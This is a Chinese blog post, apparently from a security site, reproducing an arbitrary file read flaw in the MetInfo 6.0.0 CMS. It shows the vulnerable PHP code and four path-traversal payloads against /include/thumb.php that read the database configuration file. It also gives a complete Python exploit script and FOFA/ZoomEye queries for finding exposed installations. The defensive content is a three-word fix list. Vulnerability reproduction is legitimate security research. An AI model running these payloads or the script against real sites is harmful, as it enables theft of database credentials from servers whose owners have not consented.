Metinfo6.0.0任意文件读取【漏洞复现】

文章目录

1.1、漏洞描述

漏洞名称:MetInfo任意文件读取

漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的/app/system/include/module/old_thumb.class.php文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。

下载地址:历史版本安装文件下载 Ver_6.0.0

1.2、漏洞等级

高危

1.3、影响版本

影响版本:MetInfo 6.0.0

1.4、漏洞复现

代码审计

php 复制代码
defined('IN_MET') or exit('No permission');

load::sys_class('web');

class old_thumb extends web{

      public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);


        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

dir = str_replace(array('.../','./'), '', _GET['dir']);

dir变量接受来自$_GET['dir']传递进来的值,用了str_replace函数做替换,将.././替换成空值

readfile($dir);

漏洞点

python 复制代码
/include/thumb.php

使用bp进行抓包

测试一:

php 复制代码
/include/thumb.php?dir=..././http/..././config/config_db.php

测试二:

php 复制代码
/include/thumb.php?dir=.....///http/.....///config/config_db.php

测试三:

php 复制代码
/include/thumb.php?dir=http/.....///.....///config/config_db.php

测试四:

php 复制代码
/include/thumb.php?dir=http\..\..\config\config_db.php
    
   
# 此POC 仅适用于Windows 系统,Linux 下无效  
#    只有windows以右斜杠作为文件路径分隔符

1.5、深度利用

EXP编写

python 复制代码
import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

1.6、漏洞挖掘

FOFA

text 复制代码
app="metinfo"

ZoomEye

text 复制代码
app:"MetInfo"
app:"MetInfo"+os:"Windows"

1.7修复建议

  • 升级
  • 打补丁
  • 上设备
相关推荐
独行soc5 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Whoisshutiao7 小时前
网安-XSS-pikachu
前端·安全·网络安全
游戏开发爱好者81 天前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
安全系统学习1 天前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
A5rZ1 天前
Puppeteer 相关漏洞-- Google 2025 Sourceless
网络安全
Bruce_Liuxiaowei1 天前
常见高危端口风险分析与防护指南
网络·网络安全·端口·信息搜集
2501_916013741 天前
iOS 多线程导致接口乱序?抓包还原 + 请求调度优化实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
头发那是一根不剩了1 天前
双因子认证(2FA)是什么?从零设计一个安全的双因子登录接口
网络安全·系统设计·身份认证
浩浩测试一下1 天前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
Gappsong8742 天前
【Linux学习】Linux安装并配置Redis
java·linux·运维·网络安全